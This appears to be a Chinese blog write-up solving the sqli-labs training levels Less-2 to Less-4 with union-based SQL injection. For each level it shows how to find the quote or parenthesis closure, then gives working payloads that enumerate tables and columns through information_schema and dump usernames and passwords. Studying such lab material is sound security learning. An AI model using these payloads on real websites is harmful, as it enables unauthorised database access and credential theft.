sqli-labs的Less2到Less4三道题都可以用联合注入解决,所以放到一起来记录,联合注入的基本思路方法可以看我的上一篇博客,这里只针对题目来写。
Less2
还是跟Less1一样,想要夹带私货,就得要先想办法闭合,我们先输入单引号看一下
发现连我们写的数字1都没有显示出来,这种情况我们就可以推测后端接收的是一个数字型的,可以直接不用闭合(我个人理解的是后端接收数字型,所以我们写1’直接显示不出来)所以直接先测测数据库(报错位就不测试了,跟Less1是一样的)
然后就开始测试表名列表并且获取用户数据,语句和结果分别如下
爆表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+
爆列名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"--+
爆数据
?id=-1 union select 1,2,group_concat(username,':',password) from users--+
Less3
照样是先测测闭合,发现是’)闭合,直接开始爆库名
?id=-1') union select 1,2,database() --+
爆表名
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+
爆列名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"--+
爆数据
?id=-1') union select 1,2,group_concat(username,':',password) from users--+
# Less4
这一关也是先看看闭合方式
通过报错信息我们能猜测闭合方式是"),直接爆库名试试
?id=-1") union select 1,2,database() --+
然后爆表名
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+
然后爆列名
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"--+
最后来爆数据
?id=-1") union select 1,2,group_concat(username,':',password) from users--+